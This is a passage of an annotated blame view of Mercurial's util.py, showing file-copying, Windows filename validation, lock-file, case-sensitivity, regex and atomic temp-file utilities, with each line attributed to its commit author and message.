util.copyfiles: only switch to copy if hardlink raises IOError or OSError....
r2050 except (IOError, OSError):
Stephen Darnell
Add support for cloning with hardlinks on windows....
r1241 hardlink = False
Benoit Boissinot
do not copy atime and mtime in util.copyfiles...
r1591 shutil.copy(src, dst)
Stephen Darnell
Add support for cloning with hardlinks on windows....
r1241 else:
Benoit Boissinot
do not copy atime and mtime in util.copyfiles...
r1591 shutil.copy(src, dst)
Adrian Buehlmann
clone: print number of linked/copied files on --debug
r11251 num += 1
Martin von Zweigbergk
copystore: use progress helper...
r38399 if progress:
progress.increment()
Thomas Arendsen Hein
Use python function instead of external 'cp' command when cloning repos....
r698
Adrian Buehlmann
clone: print number of linked/copied files on --debug
r11251 return hardlink, num
Adrian Buehlmann
util.copyfiles: don't try os_link() again if it failed before...
r11254
Augie Fackler
formatting: blacken the codebase...
r43346
Gregory Szorc
util: use set for reserved Windows filenames...
r34054 _winreservednames = {
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 b'con',
b'prn',
b'aux',
b'nul',
b'com1',
b'com2',
b'com3',
b'com4',
b'com5',
b'com6',
b'com7',
b'com8',
b'com9',
b'lpt1',
b'lpt2',
b'lpt3',
b'lpt4',
b'lpt5',
b'lpt6',
b'lpt7',
b'lpt8',
b'lpt9',
Gregory Szorc
util: use set for reserved Windows filenames...
r34054 }
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 _winreservedchars = b':*?"<>|'
Augie Fackler
formatting: blacken the codebase...
r43346
Adrian Buehlmann
path_auditor: check filenames for basic platform validity (issue2755)...
r13916 def checkwinfilename(path):
Matt Harbison
typing: add some type annotations to mercurial/util.py...
r47391 # type: (bytes) -> Optional[bytes]
Augie Fackler
formating: upgrade to black 20.8b1...
r46554 r"""Check that the base-relative path is a valid filename on Windows.
Adrian Buehlmann
path_auditor: check filenames for basic platform validity (issue2755)...
r13916 Returns None if the path is ok, or a UI string describing the problem.
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> checkwinfilename(b"just/a/normal/path")
>>> checkwinfilename(b"foo/bar/con.xml")
Adrian Buehlmann
path_auditor: check filenames for basic platform validity (issue2755)...
r13916 "filename contains 'con', which is reserved on Windows"
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> checkwinfilename(b"foo/con.xml/bar")
Adrian Buehlmann
path_auditor: check filenames for basic platform validity (issue2755)...
r13916 "filename contains 'con', which is reserved on Windows"
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> checkwinfilename(b"foo/bar/xml.con")
>>> checkwinfilename(b"foo/bar/AUX/bla.txt")
Adrian Buehlmann
path_auditor: check filenames for basic platform validity (issue2755)...
r13916 "filename contains 'AUX', which is reserved on Windows"
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> checkwinfilename(b"foo/bar/bla:.txt")
Adrian Buehlmann
path_auditor: check filenames for basic platform validity (issue2755)...
r13916 "filename contains ':', which is reserved on Windows"
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> checkwinfilename(b"foo/bar/b\07la.txt")
Mads Kiilerich
util: warn when adding paths ending with \...
r20000 "filename contains '\\x07', which is invalid on Windows"
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> checkwinfilename(b"foo/bar/bla ")
Adrian Buehlmann
path_auditor: check filenames for basic platform validity (issue2755)...
r13916 "filename ends with ' ', which is not allowed on Windows"
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> checkwinfilename(b"../bar")
>>> checkwinfilename(b"foo\\")
Mads Kiilerich
util: warn when adding paths ending with \...
r20000 "filename ends with '\\', which is invalid on Windows"
Yuya Nishihara
doctest: bulk-replace string literals with b'' for Python 3...
r34133 >>> checkwinfilename(b"foo\\/bar")
Mads Kiilerich
util: warn when adding paths ending with \...
r20000 "directory name ends with '\\', which is invalid on Windows"
Augie Fackler
formating: upgrade to black 20.8b1...
r46554 """
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 if path.endswith(b'\\'):
return _(b"filename ends with '\\', which is invalid on Windows")
if b'\\/' in path:
return _(b"directory name ends with '\\', which is invalid on Windows")
for n in path.replace(b'\\', b'/').split(b'/'):
Adrian Buehlmann
path_auditor: check filenames for basic platform validity (issue2755)...
r13916 if not n:
continue
FUJIWARA Katsunori
win32mbcs: avoid unintentional failure at colorization...
r32566 for c in _filenamebytestr(n):
Adrian Buehlmann
util: rename _windows_reserved_filenames and _windows_reserved_chars
r14262 if c in _winreservedchars:
Augie Fackler
formatting: blacken the codebase...
r43346 return (
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 _(
b"filename contains '%s', which is reserved "
b"on Windows"
)
Augie Fackler
formatting: blacken the codebase...
r43346 % c
)
Adrian Buehlmann
path_auditor: check filenames for basic platform validity (issue2755)...
r13916 if ord(c) <= 31:
Augie Fackler
formatting: blacken the codebase...
r43346 return _(
Martin von Zweigbergk
cleanup: join string literals that are already on one line...
r43387 b"filename contains '%s', which is invalid on Windows"
Augie Fackler
formatting: blacken the codebase...
r43346 ) % stringutil.escapestr(c)
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 base = n.split(b'.')[0]
Adrian Buehlmann
util: rename _windows_reserved_filenames and _windows_reserved_chars
r14262 if base and base.lower() in _winreservednames:
Augie Fackler
formatting: blacken the codebase...
r43346 return (
Martin von Zweigbergk
cleanup: join string literals that are already on one line...
r43387 _(b"filename contains '%s', which is reserved on Windows")
Augie Fackler
formatting: blacken the codebase...
r43346 % base
)
Yuya Nishihara
py3: replace bytes[n] with slicing in checkwinfilename()
r34357 t = n[-1:]
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 if t in b'. ' and n not in b'..':
Augie Fackler
formatting: blacken the codebase...
r43346 return (
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 _(
b"filename ends with '%s', which is not allowed "
b"on Windows"
)
Augie Fackler
formatting: blacken the codebase...
r43346 % t
)
Adrian Buehlmann
path_auditor: check filenames for basic platform validity (issue2755)...
r13916
Matt Harbison
util: avoid referencing `time.clock()` on Windows when missing (issue6238)...
r44470 timer = getattr(time, "perf_counter", None)
Jun Wu
codemod: use pycompat.iswindows...
r34646 if pycompat.iswindows:
Adrian Buehlmann
path_auditor: check filenames for basic platform validity (issue2755)...
r13916 checkosfilename = checkwinfilename
Matt Harbison
util: avoid referencing `time.clock()` on Windows when missing (issue6238)...
r44470 if not timer:
timer = time.clock
Matt Mackall
util: split out posix, windows, and win32 modules
r7890 else:
Matt Harbison
typing: suppress a warning that mercurial.windows.checkosfilename is missing...
r44335 # mercurial.windows doesn't have platform.checkosfilename
checkosfilename = platform.checkosfilename # pytype: disable=module-attr
Matt Harbison
util: avoid referencing `time.clock()` on Windows when missing (issue6238)...
r44470 if not timer:
timer = time.time
Matt Mackall
util: split out posix, windows, and win32 modules
r7890
Augie Fackler
formatting: blacken the codebase...
r43346
Matt Mackall
util: split out posix, windows, and win32 modules
r7890 def makelock(info, pathname):
Yuya Nishihara
lock: block signal interrupt while making a lock file...
r36717 """Create a lock file atomically if possible
This may leave a stale lock file if symlink isn't supported and signal
interrupt is enabled.
"""
Matt Mackall
util: split out posix, windows, and win32 modules
r7890 try:
return os.symlink(info, pathname)
Gregory Szorc
global: mass rewrite to use modern exception syntax...
r25660 except OSError as why:
Matt Mackall
util: split out posix, windows, and win32 modules
r7890 if why.errno == errno.EEXIST:
raise
Augie Fackler
formatting: blacken the codebase...
r43346 except AttributeError: # no symlink in os
Matt Mackall
util: split out posix, windows, and win32 modules
r7890 pass
Yuya Nishihara
py3: read/write plain lock file in binary mode...
r36801 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
ld = os.open(pathname, flags)
Thomas Arendsen Hein
Make makelock and readlock work on filesystems without symlink support....
r704 os.write(ld, info)
os.close(ld)
Augie Fackler
formatting: blacken the codebase...
r43346
Matt Mackall
util: split out posix, windows, and win32 modules
r7890 def readlock(pathname):
Matt Harbison
typing: add some type annotations to mercurial/util.py...
r47391 # type: (bytes) -> bytes
Matt Mackall
util: split out posix, windows, and win32 modules
r7890 try:
Matt Harbison
py3: convert os.readlink() path to native strings on Windows...
r39940 return readlink(pathname)
Gregory Szorc
global: mass rewrite to use modern exception syntax...
r25660 except OSError as why:
Matt Mackall
util: split out posix, windows, and win32 modules
r7890 if why.errno not in (errno.EINVAL, errno.ENOSYS):
raise
Augie Fackler
formatting: blacken the codebase...
r43346 except AttributeError: # no symlink in os
Matt Mackall
util: split out posix, windows, and win32 modules
r7890 pass
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 with posixfile(pathname, b'rb') as fp:
Matt Harbison
util: use a context manager in readlock()
r39941 return fp.read()
Thomas Arendsen Hein
Make makelock and readlock work on filesystems without symlink support....
r704
Augie Fackler
formatting: blacken the codebase...
r43346
Vadim Gelfer
fix file handling bugs on windows....
r2176 def fstat(fp):
'''stat file object that may not have fileno method.'''
try:
return os.fstat(fp.fileno())
except AttributeError:
return os.stat(fp.name)
Augie Fackler
formatting: blacken the codebase...
r43346
Matt Mackall
imported patch folding
r3784 # File system features
Augie Fackler
formatting: blacken the codebase...
r43346
Martin von Zweigbergk
util: rename checkcase() to fscasesensitive() (API)...
r29889 def fscasesensitive(path):
Matt Harbison
typing: add some type annotations to mercurial/util.py...
r47391 # type: (bytes) -> bool
Matt Mackall
imported patch folding
r3784 """
Mads Kiilerich
util: improve doc for checkcase
r18911 Return true if the given path is on a case-sensitive filesystem
Matt Mackall
imported patch folding
r3784
Requires a path (like /foo/.hg) ending with a foldable final
directory component.
"""
Siddharth Agarwal
util.checkcase: don't abort on broken symlinks...
r24902 s1 = os.lstat(path)
Matt Mackall
imported patch folding
r3784 d, b = os.path.split(path)
FUJIWARA Katsunori
icasefs: consider as case sensitive if there is no counterevidence, for safety...
r15667 b2 = b.upper()
if b == b2:
b2 = b.lower()
if b == b2:
Augie Fackler
formatting: blacken the codebase...
r43346 return True # no evidence against case sensitivity
FUJIWARA Katsunori
icasefs: consider as case sensitive if there is no counterevidence, for safety...
r15667 p2 = os.path.join(d, b2)
Matt Mackall
imported patch folding
r3784 try:
Siddharth Agarwal
util.checkcase: don't abort on broken symlinks...
r24902 s2 = os.lstat(p2)
Matt Mackall
imported patch folding
r3784 if s2 == s1:
return False
return True
Idan Kamara
eliminate various naked except clauses
r14004 except OSError:
Matt Mackall
imported patch folding
r3784 return True
Augie Fackler
formatting: blacken the codebase...
r43346
Bryan O'Sullivan
matcher: use re2 bindings if available...
r16943 try:
Matt Harbison
pytype: suppress the import-error in util.py when importing re2...
r44331 import re2 # pytype: disable=import-error
Augie Fackler
formatting: blacken the codebase...
r43346
Bryan O'Sullivan
matcher: use re2 bindings if available...
r16943 _re2 = None
except ImportError:
_re2 = False
Augie Fackler
formatting: blacken the codebase...
r43346
Siddharth Agarwal
util: move compilere to a class...
r21908 class _re(object):
Siddharth Agarwal
util.re: move check for re2 into a separate method...
r21913 def _checkre2(self):
global _re2
try:
# check if match works, see issue3964
re2: byteify some regex used to get check re2 availability...
r47271 _re2 = bool(re2.match(br'\[([^\[]+)\]', b'[ui]'))
Siddharth Agarwal
util.re: move check for re2 into a separate method...
r21913 except ImportError:
_re2 = False
Siddharth Agarwal
util: move compilere to a class...
r21908 def compile(self, pat, flags=0):
Augie Fackler
formating: upgrade to black 20.8b1...
r46554 """Compile a regular expression, using re2 if possible
Bryan O'Sullivan
matcher: use re2 bindings if available...
r16943
Siddharth Agarwal
util: move compilere to a class...
r21908 For best performance, use only re2-compatible regexp features. The
only flags from the re module that are re2-compatible are
Augie Fackler
formating: upgrade to black 20.8b1...
r46554 IGNORECASE and MULTILINE."""
Siddharth Agarwal
util: move compilere to a class...
r21908 if _re2 is None:
Siddharth Agarwal
util.re: move check for re2 into a separate method...
r21913 self._checkre2()
Siddharth Agarwal
util: move compilere to a class...
r21908 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
if flags & remod.IGNORECASE:
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 pat = b'(?i)' + pat
Siddharth Agarwal
util: move compilere to a class...
r21908 if flags & remod.MULTILINE:
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 pat = b'(?m)' + pat
Siddharth Agarwal
util: move compilere to a class...
r21908 try:
return re2.compile(pat)
except re2.error:
pass
return remod.compile(pat, flags)
Siddharth Agarwal
util.re: add an escape method...
r21914 @propertycache
def escape(self):
Augie Fackler
formating: upgrade to black 20.8b1...
r46554 """Return the version of escape corresponding to self.compile.
Siddharth Agarwal
util.re: add an escape method...
r21914
This is imperfect because whether re2 or re is used for a particular
function depends on the flags, etc, but it's the best we can do.
Augie Fackler
formating: upgrade to black 20.8b1...
r46554 """
Siddharth Agarwal
util.re: add an escape method...
r21914 global _re2
if _re2 is None:
self._checkre2()
if _re2:
return re2.escape
else:
return remod.escape
Augie Fackler
formatting: blacken the codebase...
r43346
Siddharth Agarwal
util: move compilere to a class...
r21908 re = _re()
Bryan O'Sullivan
matcher: use re2 bindings if available...
r16943
Paul Moore
Add a new function, fspath...
r6676 _fspathcache = {}
Augie Fackler
formatting: blacken the codebase...
r43346
Paul Moore
Add a new function, fspath...
r6676 def fspath(name, root):
Matt Harbison
typing: add some type annotations to mercurial/util.py...
r47391 # type: (bytes, bytes) -> bytes
Augie Fackler
formating: upgrade to black 20.8b1...
r46554 """Get name in the case stored in the filesystem
Paul Moore
Add a new function, fspath...
r6676
FUJIWARA Katsunori
icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency...
r15710 The name should be relative to root, and be normcase-ed for efficiency.
Note that this function is unnecessary, and should not be
Paul Moore
Add a new function, fspath...
r6676 called, for case-sensitive filesystems (simply because it's expensive).
FUJIWARA Katsunori
icasefs: avoid normcase()-ing in util.fspath() for efficiency...
r15670
FUJIWARA Katsunori
icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency...
r15710 The root should be normcase-ed, too.
Augie Fackler
formating: upgrade to black 20.8b1...
r46554 """
Augie Fackler
formatting: blacken the codebase...
r43346
Siddharth Agarwal
util.fspath: use a dict rather than a linear scan for lookups...
r23097 def _makefspathcacheentry(dir):
Augie Fackler
cleanup: run pyupgrade on our source tree to clean up varying things...
r44937 return {normcase(n): n for n in os.listdir(dir)}
FUJIWARA Katsunori
icasefs: retry directory scan once for already invalidated cache...
r15709
Pulkit Goyal
py3: replace os.sep with pycompat.ossep (part 1 of 4)...
r30613 seps = pycompat.ossep
Pulkit Goyal
py3: replace os.altsep with pycompat.altsep...
r30625 if pycompat.osaltsep:
seps = seps + pycompat.osaltsep
Paul Moore
Add a new function, fspath...
r6676 # Protect backslashes. This gets silly very quickly.
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 seps.replace(b'\\', b'\\\\')
Augie Fackler
util: use bytes re on bytes input in fspath...
r31496 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
FUJIWARA Katsunori
icasefs: use util.normcase() instead of lower() or os.path.normcase in fspath...
r15669 dir = os.path.normpath(root)
Paul Moore
Add a new function, fspath...
r6676 result = []
for part, sep in pattern.findall(name):
if sep:
result.append(sep)
continue
FUJIWARA Katsunori
icasefs: follow standard cache look up pattern
r15719 if dir not in _fspathcache:
Siddharth Agarwal
util.fspath: use a dict rather than a linear scan for lookups...
r23097 _fspathcache[dir] = _makefspathcacheentry(dir)
FUJIWARA Katsunori
icasefs: follow standard cache look up pattern
r15719 contents = _fspathcache[dir]
Paul Moore
Add a new function, fspath...
r6676
Siddharth Agarwal
util.fspath: use a dict rather than a linear scan for lookups...
r23097 found = contents.get(part)
FUJIWARA Katsunori
icasefs: retry directory scan once for already invalidated cache...
r15709 if not found:
FUJIWARA Katsunori
icasefs: rewrite comment to explain situtation precisely
r15720 # retry "once per directory" per "dirstate.walk" which
# may take place for each patches of "hg qpush", for example
Siddharth Agarwal
util.fspath: use a dict rather than a linear scan for lookups...
r23097 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
found = contents.get(part)
FUJIWARA Katsunori
icasefs: retry directory scan once for already invalidated cache...
r15709
result.append(found or part)
FUJIWARA Katsunori
icasefs: use util.normcase() instead of lower() or os.path.normcase in fspath...
r15669 dir = os.path.join(dir, part)
Paul Moore
Add a new function, fspath...
r6676
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 return b''.join(result)
Paul Moore
Add a new function, fspath...
r6676
Augie Fackler
formatting: blacken the codebase...
r43346
Adrian Buehlmann
opener: check hardlink count reporting (issue1866)...
r12938 def checknlink(testfile):
Matt Harbison
typing: add some type annotations to mercurial/util.py...
r47391 # type: (bytes) -> bool
Adrian Buehlmann
opener: check hardlink count reporting (issue1866)...
r12938 '''check whether hardlink count reporting works properly'''
Adrian Buehlmann
checknlink: use two testfiles (issue2543)...
r13204 # testfile may be open, so we need a separate file for checking to
# work around issue2543 (or testfile may get lost on Samba shares)
Jun Wu
checknlink: rename file object from 'fd' to 'fp'...
r34086 f1, f2, fp = None, None, None
Adrian Buehlmann
opener: check hardlink count reporting (issue1866)...
r12938 try:
Augie Fackler
formatting: blacken the codebase...
r43346 fd, f1 = pycompat.mkstemp(
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 prefix=b'.%s-' % os.path.basename(testfile),
suffix=b'1~',
Augie Fackler
formatting: blacken the codebase...
r43346 dir=os.path.dirname(testfile),
)
Jun Wu
checknlink: use a random temp file name for checking...
r34081 os.close(fd)
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 f2 = b'%s2~' % f1[:-2]
Jun Wu
checknlink: use a random temp file name for checking...
r34081
Matt Mackall
util: use try/except/finally
r25088 oslink(f1, f2)
Adrian Buehlmann
opener: check hardlink count reporting (issue1866)...
r12938 # nlinks() may behave differently for files on Windows shares if
# the file is open.
Jun Wu
checknlink: rename file object from 'fd' to 'fp'...
r34086 fp = posixfile(f2)
Adrian Buehlmann
checknlink: use two testfiles (issue2543)...
r13204 return nlinks(f2) > 1
Matt Mackall
util: use try/except/finally
r25088 except OSError:
return False
Adrian Buehlmann
opener: check hardlink count reporting (issue1866)...
r12938 finally:
Jun Wu
checknlink: rename file object from 'fd' to 'fp'...
r34086 if fp is not None:
fp.close()
Adrian Buehlmann
checknlink: use two testfiles (issue2543)...
r13204 for f in (f1, f2):
try:
Jun Wu
checknlink: use a random temp file name for checking...
r34081 if f is not None:
os.unlink(f)
Adrian Buehlmann
checknlink: use two testfiles (issue2543)...
r13204 except OSError:
pass
Adrian Buehlmann
opener: check hardlink count reporting (issue1866)...
r12938
Augie Fackler
formatting: blacken the codebase...
r43346
Shun-ichi GOTO
Add endswithsep() and use it instead of using os.sep and os.altsep directly....
r5843 def endswithsep(path):
Matt Harbison
typing: add some type annotations to mercurial/util.py...
r47391 # type: (bytes) -> bool
Shun-ichi GOTO
Add endswithsep() and use it instead of using os.sep and os.altsep directly....
r5843 '''Check path ends with os.sep or os.altsep.'''
Matt Harbison
typing: add some type annotations to mercurial/util.py...
r47391 return bool( # help pytype
Augie Fackler
formatting: blacken the codebase...
r43346 path.endswith(pycompat.ossep)
or pycompat.osaltsep
and path.endswith(pycompat.osaltsep)
)
Shun-ichi GOTO
Add endswithsep() and use it instead of using os.sep and os.altsep directly....
r5843
Shun-ichi GOTO
Add util.splitpath() and use it instead of using os.sep directly....
r5844 def splitpath(path):
Matt Harbison
typing: add some type annotations to mercurial/util.py...
r47391 # type: (bytes) -> List[bytes]
Augie Fackler
formating: upgrade to black 20.8b1...
r46554 """Split path by os.sep.
Shun-ichi GOTO
Add util.splitpath() and use it instead of using os.sep directly....
r5844 Note that this function does not use os.altsep because this is
an alternative of simple "xxx.split(os.sep)".
It is recommended to use os.path.normpath() before using this
Augie Fackler
formating: upgrade to black 20.8b1...
r46554 function if need."""
Pulkit Goyal
py3: replace os.sep with pycompat.ossep (part 1 of 4)...
r30613 return path.split(pycompat.ossep)
Shun-ichi GOTO
Add util.splitpath() and use it instead of using os.sep directly....
r5844
Augie Fackler
formatting: blacken the codebase...
r43346
Boris Feld
update: fix edge-case with update.atomic-file and read-only files...
r41325 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
Alexis S. L. Carvalho
turn util.opener into a class
r4827 """Create a temporary file with the same contents from name
The permission bits are copied from the original file.
If the temporary file is going to be truncated immediately, you
can use emptyok=True as an optimization.
Returns the name of the temporary file.
Vadim Gelfer
fix file handling bugs on windows....
r2176 """
Alexis S. L. Carvalho
turn util.opener into a class
r4827 d, fn = os.path.split(name)
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
Alexis S. L. Carvalho
turn util.opener into a class
r4827 os.close(fd)
# Temporary files are created with mode 0600, which is usually not
# what we want. If the original file already exists, just copy
# its mode. Otherwise, manually obey umask.
Boris Feld
update: fix edge-case with update.atomic-file and read-only files...
r41325 copymode(name, temp, createmode, enforcewritable)
Alexis S. L. Carvalho
turn util.opener into a class
r4827 if emptyok:
return temp
try:
try:
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 ifp = posixfile(name, b"rb")
Gregory Szorc
global: mass rewrite to use modern exception syntax...
r25660 except IOError as inst:
Alexis S. L. Carvalho
turn util.opener into a class
r4827 if inst.errno == errno.ENOENT:
return temp
if not getattr(inst, 'filename', None):
inst.filename = name
raise
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 ofp = posixfile(temp, b"wb")
Alexis S. L. Carvalho
turn util.opener into a class
r4827 for chunk in filechunkiter(ifp):
ofp.write(chunk)
ifp.close()
ofp.close()
Augie Fackler
formatting: blacken the codebase...
r43346 except: # re-raises
Alex Gaynor
style: never put multiple statements on one line...
r34436 try:
os.unlink(temp)
except OSError:
pass
Alexis S. L. Carvalho
turn util.opener into a class
r4827 raise
return temp
Vadim Gelfer
fix file handling bugs on windows....
r2176
Augie Fackler
formatting: blacken the codebase...
r43346
FUJIWARA Katsunori
util: add filestat class to detect ambiguity of file stat...
r29200 class filestat(object):
"""help to exactly detect change of a file
'stat' attribute is result of 'os.stat()' if specified 'path'
exists. Otherwise, it is None. This can avoid preparative
'exists()' examination on client side of this class.
"""
Augie Fackler
formatting: blacken the codebase...
r43346
Siddharth Agarwal
filestat: move __init__ to frompath constructor...
r32772 def __init__(self, stat):
self.stat = stat
@classmethod
def frompath(cls, path):
FUJIWARA Katsunori
util: add filestat class to detect ambiguity of file stat...
r29200 try:
Siddharth Agarwal
filestat: move __init__ to frompath constructor...
r32772 stat = os.stat(path)
FUJIWARA Katsunori
util: add filestat class to detect ambiguity of file stat...
r29200 except OSError as err:
if err.errno != errno.ENOENT:
raise
Siddharth Agarwal
filestat: move __init__ to frompath constructor...
r32772 stat = None
return cls(stat)
FUJIWARA Katsunori
util: add filestat class to detect ambiguity of file stat...
r29200
Siddharth Agarwal
fsmonitor: don't write out state if identity has changed (issue5581)...
r32816 @classmethod
def fromfp(cls, fp):
stat = os.fstat(fp.fileno())
return cls(stat)
FUJIWARA Katsunori
util: add filestat class to detect ambiguity of file stat...
r29200 __hash__ = object.__hash__
def __eq__(self, old):
try:
# if ambiguity between stat of new and old file is
Mads Kiilerich
spelling: fixes of non-dictionary words
r30332 # avoided, comparison of size, ctime and mtime is enough
FUJIWARA Katsunori
util: add filestat class to detect ambiguity of file stat...
r29200 # to exactly detect change of a file regardless of platform
Augie Fackler
formatting: blacken the codebase...
r43346 return (
self.stat.st_size == old.stat.st_size
and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
)
FUJIWARA Katsunori
util: add filestat class to detect ambiguity of file stat...
r29200 except AttributeError:
FUJIWARA Katsunori
util: make filestat.__eq__ return True if both of self and old have None stat...
r32749 pass
try:
return self.stat is None and old.stat is None
except AttributeError:
FUJIWARA Katsunori
util: add filestat class to detect ambiguity of file stat...
r29200 return False
def isambig(self, old):
"""Examine whether new (= self) stat is ambiguous against old one
"S[N]" below means stat of a file at N-th change:
- S[n-1].ctime < S[n].ctime: can detect change of a file
- S[n-1].ctime == S[n].ctime
- S[n-1].ctime < S[n].mtime: means natural advancing (*1)
- S[n-1].ctime == S[n].mtime: is ambiguous (*2)
- S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
- S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
Case (*2) above means that a file was changed twice or more at
same time in sec (= S[n-1].ctime), and comparison of timestamp
is ambiguous.
Base idea to avoid such ambiguity is "advance mtime 1 sec, if
timestamp is ambiguous".
But advancing mtime only in case (*2) doesn't work as
expected, because naturally advanced S[n].mtime in case (*1)
might be equal to manually advanced S[n-1 or earlier].mtime.
Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
treated as ambiguous regardless of mtime, to avoid overlooking
by confliction between such mtime.
Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
S[n].mtime", even if size of a file isn't changed.
"""
try:
Augie Fackler
formatting: blacken the codebase...
r43346 return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
FUJIWARA Katsunori
util: add filestat class to detect ambiguity of file stat...
r29200 except AttributeError:
return False
FUJIWARA Katsunori
util: add utility function to skip avoiding file stat ambiguity if EPERM...
r30319 def avoidambig(self, path, old):
"""Change file stat of specified path to avoid ambiguity
'old' should be previous filestat of 'path'.
This skips avoiding ambiguity, if a process doesn't have
FUJIWARA Katsunori
util: make filestat.avoidambig() return whether ambiguity is avoided or not
r32746 appropriate privileges for 'path'. This returns False in this
case.
Otherwise, this returns True, as "ambiguity is avoided".
FUJIWARA Katsunori
util: add utility function to skip avoiding file stat ambiguity if EPERM...
r30319 """
Augie Fackler
formatting: blacken the codebase...
r43346 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
FUJIWARA Katsunori
util: add utility function to skip avoiding file stat ambiguity if EPERM...
r30319 try:
os.utime(path, (advanced, advanced))
except OSError as inst:
if inst.errno == errno.EPERM:
# utime() on the file created by another user causes EPERM,
# if a process doesn't have appropriate privileges
FUJIWARA Katsunori
util: make filestat.avoidambig() return whether ambiguity is avoided or not
r32746 return False
FUJIWARA Katsunori
util: add utility function to skip avoiding file stat ambiguity if EPERM...
r30319 raise
FUJIWARA Katsunori
util: make filestat.avoidambig() return whether ambiguity is avoided or not
r32746 return True
FUJIWARA Katsunori
util: add utility function to skip avoiding file stat ambiguity if EPERM...
r30319
FUJIWARA Katsunori
util: add __ne__ to filestat class for consistency...
r29298 def __ne__(self, other):
return not self == other
Augie Fackler
formatting: blacken the codebase...
r43346
Benoit Boissinot
use new style classes
r8778 class atomictempfile(object):
Augie Fackler
formating: upgrade to black 20.8b1...
r46554 """writable file object that atomically updates a file
Alexis S. L. Carvalho
turn util.opener into a class
r4827
Greg Ward
atomictempfile: rewrite docstring to clarify rename() vs. close().
r14008 All writes will go to a temporary copy of the original file. Call
Greg Ward
atomictempfile: make close() consistent with other file-like objects....
r15057 close() when you are done writing, and atomictempfile will rename
the temporary copy to the original name, making the changes
visible. If the object is destroyed without being closed, all your
writes are discarded.
FUJIWARA Katsunori
doc: describe detail about checkambig optional argument...
r29367
checkambig argument of constructor is used with filestat, and is
useful only if target file is guarded by any lock (e.g. repo.lock
or repo.wlock).
Augie Fackler
formating: upgrade to black 20.8b1...
r46554 """
Augie Fackler
formatting: blacken the codebase...
r43346
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
Augie Fackler
formatting: blacken the codebase...
r43346 self.__name = name # permanent name
self._tempname = mktempcopy(
name,
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 emptyok=(b'w' in mode),
Augie Fackler
formatting: blacken the codebase...
r43346 createmode=createmode,
Augie Fackler
formatting: byteify all mercurial/ and hgext/ string literals...
r43347 enforcewritable=(b'w' in mode),
Augie Fackler
formatting: blacken the codebase...
r43346 )
Boris Feld
update: fix edge-case with update.atomic-file and read-only files...
r41325
Greg Ward
atomictempfile: avoid infinite recursion in __del__()....
r14007 self._fp = posixfile(self._tempname, mode)
FUJIWARA Katsunori
util: make atomictempfile avoid ambiguity of file stat if needed...
r29201 self._checkambig = checkambig
Bryan O'Sullivan
atomictempfile: delegate to posixfile instead of inheriting from it
r8327
Greg Ward
atomictempfile: avoid infinite recursion in __del__()....
r14007 # delegated methods
Martijn Pieters
atomictempfile: add read to the supported file operations
r29393 self.read = self._fp.read
Greg Ward
atomictempfile: avoid infinite recursion in __del__()....
r14007 self.write = self._fp.write
Bryan O'Sullivan
util: delegate seek and tell methods of atomictempfile
r17237 self.seek = self._fp.seek
self.tell = self._fp.tell
Greg Ward
atomictempfile: avoid infinite recursion in __del__()....
r14007 self.fileno = self._fp.fileno
Alexis S. L. Carvalho
turn util.opener into a class
r4827
Greg Ward
atomictempfile: make close() consistent with other file-like objects....
r15057 def close(self):
Benoit Boissinot
atomictempfile: fix exception in __del__ if mktempcopy fails (self._fp is None)...
r8785 if not self._fp.closed:
Bryan O'Sullivan
atomictempfile: delegate to posixfile instead of inheriting from it
r8327 self._fp.close()
FUJIWARA Katsunori
util: make atomictempfile avoid ambiguity of file stat if needed...
r29201 filename = localpath(self.__name)
Siddharth Agarwal
filestat: move __init__ to frompath constructor...
r32772 oldstat = self._checkambig and filestat.frompath(filename)
FUJIWARA Katsunori
